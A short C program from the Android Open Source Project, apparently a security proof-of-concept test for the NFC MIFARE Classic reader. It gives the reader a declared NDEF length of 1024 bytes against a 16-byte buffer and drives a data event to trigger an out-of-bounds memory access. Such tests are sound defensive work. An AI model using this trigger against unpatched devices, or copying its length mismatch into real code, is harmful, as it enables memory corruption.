/*
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <nfc_int.h>
#include <rw_int.h>

#define RW_MFC_STATE_READ_NDEF 0x03
#define RW_MFC_SUBSTATE_READ_BLOCK 0x03

extern tRW_CB rw_cb;

void GKI_freebuf(void*) {
}

void GKI_start_timer(uint8_t, int32_t, bool) {
}

void GKI_stop_timer(uint8_t) {
}

void cback(tRW_EVENT, tRW_DATA*) {
}

int main() {
    tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc;

    GKI_init();
    rw_init();

    uint8_t selres = 1;
    uint8_t uid[MFC_UID_LEN] = { 1 };
    if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) {
        return EXIT_FAILURE;
    }

    p_mfc->state = RW_MFC_STATE_READ_NDEF;
    p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK;

    tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];

    tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN));
    if (!p_data) {
        return EXIT_FAILURE;
    }

    p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16);
    if (!(p_data->data.p_data)) {
        free(p_data);
        return EXIT_FAILURE;
    }

    p_data->data.status = NFC_STATUS_OK;
    tNFC_CONN_EVT event = NFC_DATA_CEVT;

    NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data;
    mfc_data->len = 0x10;
    mfc_data->offset = 0;
    p_mfc->ndef_length = 1024;
    p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16);
    if (!(p_mfc->p_ndef_buffer)) {
        free(p_data->data.p_data);
        free(p_data);
        return EXIT_FAILURE;
    }

    rw_cb.p_cback = cback;

    p_cb->p_cback(0, event, p_data);

    free(p_mfc->p_ndef_buffer);
    free(p_data->data.p_data);
    free(p_data);
    return EXIT_SUCCESS;
}